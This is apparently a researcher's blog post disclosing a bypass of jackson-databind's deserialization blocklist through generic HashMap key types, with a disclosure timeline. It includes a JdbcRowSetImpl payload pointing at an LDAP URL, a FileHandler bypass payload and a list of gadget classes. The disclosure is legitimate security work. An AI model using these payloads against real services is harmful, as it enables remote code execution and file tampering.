Bypass FasterXML Jackson-databind Illegal Type Validator

 Bypass FasterXML Jackson-databind 

Illegal Type Validator  

Abstract

FasterXML jackson-databind blocked gadgets are back (drafted: April 2025)! 

In 2017, a deserialization vulnerability in FasterXML's jackson-databind library was reported (CVE-2017-7525) resulting in an unsafe deserialization in Java leading to numerous exploit scenarios including RCE. The fix for the vulnerability was to create a blocklist of dangerous java classes. This resulted in more CVEs and fixes as new gadgets were discovered and ultimately blocked in each new version. Over time, the concern for this vulnerability faded away as it appeared fixed. 

Recently, I found a way to bypass the fix allowing for previously blocked gadgets to return.   

Background 

The Jackson databind library is most commonly used to take json and convert it to a java object. This form of deserialization is accomplished by instantiating its java object and setting its variables using the values from the json passed in. 

Example:
public class Example{
public int id;
}
String json = "{\"id\": 1}";
Example e = new ObjectMapper().readValue(json, Example.class);

In the original issue, CVE-2017-7525, an attacker was able to deserialize arbitrary objects leading to various exploits. These exploit outcomes varied based on which object or gadgets were being constructed. In the original paper marshalsec.pdf it highlighted what to look for and also listed many of the original gadgets. 

A common vulnerable example was developers using 'enableDefaultTyping()' to enable polymorphic type handling :
String payload = "[\"com.sun.rowset.JdbcRowSetImpl\" ,{\n" +
"\"dataSourceName\":\n" +
"\"ldap://127.0.0.1:8000/obj\" ,\n" +
"\"autoCommit\" : true\n" +
"}]";
ObjectMapper mappers = new ObjectMapper();
mappers.enableDefaultTyping();
mappers.readValue(payload, Object.class);

The original fix was to add a filter function called "checkIllegalTypes". This would review the class before it gets instantiated into an object against a block list of classes. If it encountered an 'illegal type' it would throw an error saying "Illegal type (%s) to deserialize: prevented for security reasons" 

This was a list of the original gadgets:             
         s.add("org.apache.commons.collections.functors.InvokerTransformer");
         s.add("org.apache.commons.collections.functors.InstantiateTransformer");
         s.add("org.apache.commons.collections4.functors.InvokerTransformer");
         s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
         s.add("org.codehaus.groovy.runtime.ConvertedClosure");
         s.add("org.codehaus.groovy.runtime.MethodClosure");
         s.add("org.springframework.beans.factory.ObjectFactory");
         s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

Over time many were added and the list has grown to close to 100 blocked 'illegal' classes

This continued 'whack-a-mole' approach eventually became too much for the maintainers. This added with the changes in 2.10+, which takes an 'allow list' approach for deserialization lead the maintainers to rejecting any cves related to deserialization

So why look for more deserialization issues in jackson-databind you might ask?  

Because, even though its not called a vulnerability by the maintainer, doesn't mean its not a vulnerability for the consumers of the OSS. 

Vulnerability Analysis

This vulnerability always intrigued me, even back in 2017 when it originally was reported. Earlier this year, I finally decided it was time to look more into it. 

I began trying to understand how the block was put into place 
While trying a few things I noticed the java class strings weren't always as expected. I realized the output strings were accepting java field descriptors. This allowed me to turn what would have been a string into an array of strings using "[Ljava.lang.String;". Then tried to use field descriptors to force use of class methods with non primitive types, but no luck. 

Then I remembered java's generics....I first tested to see if I could make a HashMap with simple primitives 
java.util.HashMap<int, int>
Then realized for a string it was accepting the String class name
java.util.HashMap<java.lang.String int>

This lead me to try and manipulate class values:

java.util.HashMap<org.example.ExampleOne, int>
or 
["java.util.HashMap<java.example.ExampleOne, int>", {1:2}]

Sure enough the library created a HashMap with key and value expected as the inputs. This immediately lead me to try the previous gadgets as a hope this might bypass the previous checks and sure enough I was able to to create a file using java.util.logging.FileHandler, one of the 'blocked' gadgets. 

[java.util.HashMap<java.util.logging.FileHandler, int>, {"test":2}]

I quickly noticed that while some gadgets worked, others didn't and also providing a previous gadget as the 'value' in the HashMap was getting blocked with the previously encountered SubTypeValidator :


So I wanted to dig deeper and understand why. 

This lead me to realize the key value is treated differently. It has its own key deserializer class which ultimately creates a newInstance of the class. If the class has a constructor with 1 primitive parameter (int, bool, String, long, double). 




The StdKeyDeserializer didn't have a SubTypeValidator check. This means any previous gadget that only relied on a single parameter passed to the class constructor would once again be a valid gadget and not blocked. 

Fix Recommendation

One simple possible fix I provided the team was to add the SubTypeValidator check before the key instance is created:



After providing both the vulnerability and the fix to the jackson-databind team, their stance is that the library is "safe" by default. Developers modifying the permissions to allow deserialization knowingly or unknowingly are "turning off the safety checks" and therefore they don't consider this a CVE. However, they agreed to fix the issue to make things safer. 🙃 Only if I reported the issue publicly on their github tracker. Since this is a critical issue for many companies I thought effectively 0-daying many groups wasn't responsible. So I didn't make it public and got this issue fixed in other areas...

Fast forward 1 year later, and they eventually dubbed this CVE-2026-54512, CVE-2026-54513 BUT didn't give me credit... (Not the first time security engineers like myself have experienced this)

All of my research and much more was done manual without AI assistance. I built tools and scripts and plugins around this and had planned to do a public talk on it and more... 

Timeline

  • April 22nd 2025 - Reached out to FasterXML through Tidelift and provided the bug details and possible fix. 
  • May 2nd 2025 - After showing multiple ways this could be exploited and showing a possible fix, they said it wasn't a vulnerability, but they would 'fix' the issue to make things safer. 
  • May 8th 2026 - Issue publicly reported by another researcher.
  • June 4th 2026 - Patches went out. 

Popular posts from this blog

Exploiting Struts RCE on 2.5.26

Vulnerabilities In Apache Commons-Text 1.10.0

2nd RCE and XSS in Apache Struts before 2.5.30